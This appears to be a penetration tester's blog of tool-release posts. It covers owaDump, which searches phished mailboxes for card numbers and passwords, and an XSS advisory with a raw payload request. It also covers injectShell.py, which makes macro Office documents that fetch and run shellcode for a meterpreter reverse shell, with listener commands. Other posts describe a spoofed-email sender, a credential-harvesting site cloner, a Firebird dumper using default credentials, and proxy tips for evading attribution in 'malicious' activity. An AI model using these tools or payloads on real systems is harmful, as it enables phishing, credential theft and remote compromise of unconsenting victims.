owaDump – Another tool to use during Phishing Campaigns

October 20, 2016 Leave a comment

There were a number of tools available in the Internet for attacking Exchange/Outlook Web Access.

Below are some of them that I have used before.
1) OWA-Toolkit (https://github.com/Shellntel/OWA-Toolkit#owa-toolkit)
2) Metasploit Outlook Web Access (OWA) Bruteforce Utility (https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login)
3) OWABF (http://web.archive.org/web/20150429003843/http://sla.ckers.org/forum/read.php?12,26944)
4) PEAS (https://github.com/mwrlabs/peas)
5) MailSniper (https://github.com/dafthack/MailSniper)

During a phishing test, other than attempting to gain further access to the target’s network via HTA powershell, exploiting out-of-date browser plugins and etc, another interesting thing to look at are targets’ email accounts.

If we have captured more than 50 to 100 credentials via the phishing test, it might not be feasible to ransack the mailboxes one at a time manually.

I needed a simple tool (that I can write in a couple of hours) to search the mailboxes of users for PAN (VISA and MasterCard) numbers, passwords or even specific keywords.

As there were tons of resources on the Internet regarding Exchange Web Services (EWS) for C#, I decided to write the tool in C# instead of the usual Python/Ruby and use mono to run the executable on OSX and Linux. I have tested this on OSX and Win32.

Mono can be downloaded from http://www.mono-project.com/download/.

It should work on all versions of OWA.
Please let me know if you face any issues.

$ mono owaDump.exe -h
-u, –user       Required. Email Address
-p, –pass       Required. Password
-f, –file       Text File (Email|Password) Per Line
-k, –keyword    Text to Search
–pan            (Default: False) Find PAN numbers
-d               (Default: False) Debug Mode
-h, –help       (Default: False) Print This Help Menu

Below are some ways you can use the tool.
In the below example, keywords such as password, creds, credentials, ssn, credit card are used as search terms.

$ mono owaDump.exe -u keith@company.com -p Password#

Checking: keith@company.com
[Subject]: RE [WARNING :  MESSAGE ENCRYPTED]
[Subject]: RE [WARNING :  Test Mail]

If you check the current folder, you will see the below files.
Emails and attachments that we found to be matching the search terms were downloaded.

$ ls
keith_Inbox1.eml
keith_Inbox2.eml

If you would like to search for PAN numbers, you can use the –pan keyword.

$ mono owaDump.exe -u keith@company.com -p ‘Password’ –pan
Checking: keith@company.com
…………………..
[PAN] PAN Number found in keith_Inbox3.eml

If you have a list of email addresses and passwords which you captured from a phishing test or a dump from the Domain Controller, you can use the below.

Below is the format of the text file if you want to target multiple accounts.

$ cat creds.txt
keith@company.com|password1
keith1@company.com|password2

$ mono owaDump.exe -f creds.txt
Checking: keith@company.com
[Subject]: RE [WARNING :  MESSAGE ENCRYPTED]
[Subject]: RE [WARNING :  Test Mail]

Checking: keith1@company.com
[Subject]: RE [WARNING :  MESSAGE ENCRYPTED]
[Subject]: RE [WARNING :  Test Mail]

The source code is available for download at https://github.com/milo2012/owaDump.

If you needed a compiled version of the executable, it is available at https://github.com/milo2012/owaDump/releases.

This is a pre-release.  Please send me your comments and suggestions.

Thank you for reading.

 

XSS issue in WordPress Plugin: Newsletter Version 4.6.0

October 13, 2016 Leave a comment
I recently reported a Cross-Site Scripting (XSS), Reflected issue for WordPress Plugin: Newsletter 4.6.0 https://wordpress.org/plugins/newsletter/ to plugins@wordpress.org.

 

The developers have since released a patch for the plugin (version 4.6.1) (see https://wordpress.org/plugins/newsletter/changelog/ for more information).

1. Stored Cross-Site Scripting (XSS)
Authenticated administrators can inject html/js code (there is no CSRF protection).
Method: POST
Vulnerable Parameter(s): 
options[list_1]
options[list_2]
options[list_3]
options[list_4]
options[list_5]
options[list_6]
options[list_7]
options[list_8]
options[list_9]
options[list_10]
options[list_11]
options[list_12]
options[list_13]
options[list_14]
options[list_15]
options[list_16]
options[list_17]
options[list_18]
options[list_19]
options[list_20]
Example Attack:
Request:
POST /wordpress/wp-admin/admin.php?page=newsletter_subscription_lists HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1762
act=save&btn=&_wpnonce=7cad5407b5&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3Dnewsletter_subscription_lists&options%5Blist_1%5D=test&options%5Blist_1_status%5D=1&options%5Blist_1_checked%5D=1&options%5Blist_2%5D=&options%5Blist_2_status%5D=0&options%5Blist_2_checked%5D=0&options%5Blist_3%5D=&options%5Blist_3_status%5D=0&options%5Blist_3_checked%5D=0&options%5Blist_4%5D=&options%5Blist_4_status%5D=0&options%5Blist_4_checked%5D=0&options%5Blist_5%5D=&options%5Blist_5_status%5D=0&options%5Blist_5_checked%5D=0&options%5Blist_6%5D=&options%5Blist_6_status%5D=0&options%5Blist_6_checked%5D=0&options%5Blist_7%5D=bi1x5alert(‘xss’)gjoce&options%5Blist_7_status%5D=0&options%5Blist_7_checked%5D=0&options%5Blist_8%5D=&options%5Blist_8_status%5D=0&options%5Blist_8_checked%5D=0&options%5Blist_9%5D=&options%5Blist_9_status%5D=0&options%5Blist_9_checked%5D=0&options%5Blist_10%5D=&options%5Blist_10_status%5D=0&options%5Blist_10_checked%5D=0&options%5Blist_11%5D=&options%5Blist_11_status%5D=0&options%5Blist_11_checked%5D=0&options%5Blist_12%5D=&options%5Blist_12_status%5D=0&options%5Blist_12_checked%5D=0&options%5Blist_13%5D=&options%5Blist_13_status%5D=0&options%5Blist_13_checked%5D=0&options%5Blist_14%5D=&options%5Blist_14_status%5D=0&options%5Blist_14_checked%5D=0&options%5Blist_15%5D=&options%5Blist_15_status%5D=0&options%5Blist_15_checked%5D=0&options%5Blist_16%5D=&options%5Blist_16_status%5D=0&options%5Blist_16_checked%5D=0&options%5Blist_17%5D=&options%5Blist_17_status%5D=0&options%5Blist_17_checked%5D=0&options%5Blist_18%5D=&options%5Blist_18_status%5D=0&options%5Blist_18_checked%5D=0&options%5Blist_19%5D=&options%5Blist_19_status%5D=0&options%5Blist_19_checked%5D=0&options%5Blist_20%5D=&options%5Blist_20_status%5D=0&options%5Blist_20_checked%5D=0
Response:
HTTP/1.1 200 OK
Date: Wed, 28 Sep 2016 17:40:12 GMT
Server: Apache
X-Powered-By: PHP/7.0.10
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 102536
Request:
GET /wordpress/wp-admin/admin.php?page=newsletter_users_massive HTTP/1.1
Host: localhost:8888
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Response:
HTTP/1.1 200 OK
Date: Wed, 28 Sep 2016 17:40:37 GMT
Server: Apache
X-Powered-By: PHP/7.0.10
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
X-UA-Compatible: IE=edge
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 98989
For preference <select id=”options-list” name=”options[list]”><option value=”1″>(1) test</option><option value=”2″>(2) </option><option value=”3″>(3) </option><option value=”4″>(4) </option><option value=”5″>(5) </option><option value=”6″>(6) </option><option value=”7″>(7) bi1x5alert(‘xss’)gjoce</option><option value=”8″>(8)
unnamed
Categories: Uncategorized

Phishing Toys

February 1, 2016 Leave a comment

I wrote 2 scripts with the help of a co-worker that are useful in our social engineering engagements.

  • injectShell.py – This script generates Microsoft documents (VBA code) that uses Powershell to get a meterpreter reverse shell. This script works on a Linux/Mac machine unlike some scripts I found which requires a Windows machine. This works by patching the hex bytes (ip address and port) in the pre-generated office documents.
  • sendEmail.py – This script is useful in sending spoofed emails to some SMTP servers.

 

Check the below link for the Github repository
https://github.com/milo2012/Social-Engineering-Toys

 

 injectShell.py

The script generates office documents (xls, doc and ppt) that includes VBA code that downloads and run the Invoke-Shellcode.ps1 (creates a meterpreter reverse shell back to server) when the victim enables Macro in the document.

You will need to run the windows/meterpreter/reverse_https payload on your the attacker host.

$ ./msfconsole
msf> use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST consulting.example.org
msf exploit(handler) > set LPORT 4443
msf exploit(handler) > set SessionCommunicationTimeout 0
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

Below is the help screen of the script.

$  python injectShell.py -h
usage: injectShell.py [-h] [-t T] [-o O] [-ip IP] [-port PORT]

optional arguments:
  -h, --help  show this help message and exit
  -t T        [xls|doc|ppt|all]
  -o O        [output filename (without extension)]
  -ip IP      [meterpreter listener ip address]
  -port PORT  [meterpreter listener port]

Below is the script in action.

$  python injectShell.py -t all -o salary -ip 192.168.1.6 -port 1111 
- Generated: salary.xls
- Generated: salary.doc
- Generated: salary.ppt

sendEmail.py
This script is useful in sending spoofed emails to some SMTP servers. This can be useful in social engineering engagements.

Below is the help screen of the script.

$ python sendEmail.py -h
usage: sendEmail.py [-h] [-f F] [-n N] [-e E] [-t T] [-iL IL] [-v]

optional arguments:
  -h, --help  show this help message and exit
  -f F        [html file containing the email body]
  -n N        [recipient name]
  -e E        [recipient email]
  -t T        [delay between 1 to x seconds (random)]
  -iL IL      [file containing recipient name and email addresses per line
              separated by comma]
  -v          [verbose]

Below is the script in action.

$ python sendEmail.py -iL namelist.txt -f sampleHtml.txt -t 10
Sending email to: test01@example.com  

You can use keywords like @trackingCode and @user in HTML emails which will be replaced by the values listed in namelist.txt. (See sampleHTML.txt for an example of the usage of two keywords)

  • @user is the victim’s name (1st field in namelist.txt)
  • @trackingCode is the individual codes assigned to per victim email address in Phishing Frenzy (3rd field in namelist.txt)

Below are two sample formats of namelist.txt
Below is sample 1
The fields are separated by “,”
The first field is: recipient’s name
The second field is: recipient’s email address

Keith,keith123@hotmail.com

Below is sample 2
The first field is: recipient’s name
The second field is: recipient’s email address
The last field is: tracking code

Keith,keith123@hotmail.com,UAG21E

Easily clone sites and import as Phishing Frenzy templates (Phishing for passwords)

January 22, 2016 Leave a comment

Phishing Frenzy is an awesome tool to use during Social Engineering/Spear Phishing exercises.

One of the tasks that I spent a lot of time on when using Phishing Frenzy is the ‘cloning of a website’ to be used for phishing passwords.

Phishing Frenzy does have a ‘Website Cloner’ but its pretty basic and some work needs to be done on the generated HTML file before it can be used as a template. (e.g. modify the input name of the username and password fields, changing the form action URL, create the template.yml and attachments.yml and zip up the files).

I wrote a simple script to take the URL of the website you want to clone (along with other information like Phishing Frenzy server URL and the ‘fake domain name/public IP address of the server hosting the cloned website’) and generates a working template zip that you can import directly into Phishing Frenzy under Templates > Restore menu.

Hope this can be of help to anyone of you in future social engineering engagements.

Below is a screenshot of the script in action.

phishing frenzy template zip generator

When a user visits and keys in the credentials into the cloned website, the credentials will be recorded into the creds.log file and also sent to your phishing frenzy server .

You can find the python scripts at https://github.com/milo2012/phishing-frenzy-template-cloner
Thank you for reading.

Updates:  I have update the template to include browser plugin enumeration via Javascript. This should be useful for some. The information is sent back to your Phishing Frenzy server.

 

metasploitHelper and nmap2nessus released at Blackhat Asia Arsenal 2015

March 30, 2015 Leave a comment

@mgianarakis and me (@keith55) presented two new tools (metasploitHelper and nmap2nessus) at Blackhat Asia Arsenal in Singapore on 26th and 27th of March, 2015.

The tools were developed to help guys like us during vulnerability assessments and penetration tests.

Blog posts about the tools will be coming soon. Meanwhile, the information on the Github pages should be sufficient to get you started.
The tools are open source.  Feel free to contribute to the projects. Thank you

MetasploitHelper
Slides: http://bit.ly/1D62PWB
GitHub: https://github.com/milo2012/nmap2nessus

Nmap2nessus
Slides: http://bit.ly/1GxaYTA
GitHub: https://github.com/milo2012/metasploitHelper

Pentesting Firebird Databases

January 9, 2015 Leave a comment

There seems to be limited information on pentesting Firebird databases on the Internet.
Firebird database server listens on TCP port 3050.

One good resource I found is http://blog.opensecurityresearch.com/2012/07/fun-with-firebird-database-default.html.

It seems like most people do not change the default SYSDBA credentials for their Firebird database. Below are the default credentials. 
Username:
SYSDBA
Password: masterkey

I have encountered before that the access card database system was using Firebird database for its backend.
This python script requires pyfirebirdsql library from https://github.com/nakagami/pyfirebirdsql.

Firebird requires you to supply the database name on the server you are trying to.
One way to get around it is to check for active connections on the Firebird database server.

What this tools does is to
1. Connect to the Firebird database server using the default credentials
2. List the connected databases
3. Dump the records from the Firebird database server

You can also use the -wordlist argument to supply it a wordlist of database names so that it can attempt to brute-force. That is useful if there aren’t any active connections (or databases not mounted) on the Firebird database that you are trying to access.

Below is a screenshot of the tool in action.
firebirdBrute.py

The common-tables.txt file from sqlmap is useful if you need a wordlist.
https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/txt/common-tables.txt

The tool can be downloaded from the below Github repo.
https://github.com/milo2012/firebirdDump

Proxy Tester Script

January 8, 2015 Leave a comment

I wrote a script to tests and sorts proxy servers (socks4, socks5, http, https).
There are readily available scripts out there on the Internet that does the same. I just want to write my own.

Sometimes, during a web application test, your IP address might get flagged and blocked by the target’s WAF.
Proxy servers might just be useful in this type of situation. However, regard all proxy servers as malicious and unsafe. You do not want to send sensitive data like credentials over the proxy servers.

If you are doing anything malicious, do not access the proxy servers directly as the ISP might be able to pinpoint the end point of the attack easily.

Below is a screenshot of the help menu for the proxyTester.py script.

proxyTester.py
By default, the script tests the proxy servers to see if it supports SSL connections.

Below is an example of the command to run

python proxyTester.py -i proxies.txt -o profile1 -n 100  -time -t https -sort

The script accepts a text file containing proxy servers in the below format
190.207.5.201:9064

The input file can contain a mixture of Socks4, Socks5, HTTPs, HTTP proxies.

In the below example, the script reads the list of proxies from the file using the -in argument, tests and sorts the proxies using 80 concurrent threads into categories (Socks4, Socks5, HTTPs) and outputs a Proxifier profile PPX file (which you can import into Proxifier if you are using this).

ProxyTester.py

You can use the -time argument in the script to test the latency of the connection.
It might be useful as you might want to avoid using a proxy that has a high latency.
Your computer -> Proxy server -> Website

proxyTester.py

You can download the script from the below Github repo.
https://github.com/milo2012/proxy_tester

Categories: Pentest Scripts